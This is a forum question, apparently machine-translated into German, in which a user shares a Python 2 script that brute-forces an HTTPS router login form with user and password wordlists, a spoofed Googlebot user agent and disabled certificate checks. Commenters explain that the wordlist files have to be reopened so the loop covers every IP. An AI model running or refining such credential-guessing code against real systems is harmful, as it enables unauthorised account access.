Ich versuche, ein HTML-Formular Brute Forcer mit drei verschachtelten For-Schleifen, eine für IP eine für USER und eine für PASSWORDS, aber mein Code versucht alle richtigen Benutzer: Pass-Kombinationen für die erste IP-Adresse, schreibe dreimal die gefundene und scheitert dann. Ich möchte alle user: pass Kombinationen für alle drei IP-Adressen versuchen. Hier ist der Code:Drei verschachtelte For-Schleifen in Python fehlgeschlagen
import ssl
import base64
import sys
import urllib
import urllib2
import socket
ssl._create_default_https_context = ssl._create_unverified_context
if len(sys.argv) !=4:
print "usage: %s userlist passwordlist" % (sys.argv[0])
sys.exit(0)
filename1=str(sys.argv[1])
filename2=str(sys.argv[2])
#filename3=str(sys.argv[3])
userlist = open(filename1,'r')
passwordlist = open(filename2,'r')
#targets = open(filename3,'r')
targets = ['192.168.2.1', '192.168.2.1', '192.168.2.2']
#url = "https://192.168.2.1:8443/login.cgi"
foundusers = []
foundcreds = []
OkStr="url=index.asp"
headers = {}
headers['User-Agent'] = "Googlebot"
i=0
for ip in targets:
url = "https://"+ip.rstrip()+":8443/login.cgi"
for user in userlist.readlines():
for password in passwordlist.readlines():
credentials=base64.b64encode(user.rstrip()+':'+password.rstrip())
#print "trying "+user.rstrip()+':'+password.rstrip()
data = urllib.urlencode({'login_authorization': credentials})
try:
req = urllib2.Request(url, data, headers=headers)
request = urllib2.urlopen(req, timeout = 3)
response = request.read()
print 'ip=%r user=%r password=%r' % (ip, user, password)
#print "[%d]" % (request.code)
if (response.find(OkStr)>0):
foundcreds.append(user.rstrip()+':'+password.rstrip())
request.close()
except urllib2.HTTPError, e:
print "[-] Error = "+str(e)
pass
except socket.timeout, e:
print "[-] Error = "+str(e)
pass
except ssl.SSLError, e:
print "[-] Error = "+str(e)
pass
except urllib2.URLError, e :
print "[-] Error = "+str(e)
pass
if len(foundcreds)>0:
print "Found User and Password combinations:\n"
for name in foundcreds:
print name+"\n"
else:
print "No users found\n"
Dies ist die Ausgabe:
ip='192.168.2.1' user='admin\n' password='asd\n'
ip='192.168.2.1' user='admin\n' password='qwer\n'
ip='192.168.2.1' user='admin\n' password='rews\n'
ip='192.168.2.1' user='admin\n' password='test\n'
Found User and Password combinations:
admin:test
Found User and Password combinations:
admin:test
Found User and Password combinations:
admin:test
Sie verwenden Dateien für Pseudo und Passwort und können dann nur einmal mit Leseleitungen gelesen werden. Sie sollten das Ergebnis irgendwo speichern oder Ihre Datei erneut öffnen. –
Diese IP-Adressen sind auch nicht öffentlich routingfähig. Daher können wir Ihr Problem nicht reproduzieren, da es sich um eine Website handelt, auf die wir nicht zugreifen können. – Kevin
Sobald Sie in der ersten Iteration an die Dateienden gelesen haben, müssen Sie die Dateien zurückspulen oder erneut öffnen, um die Daten erneut lesen zu können. –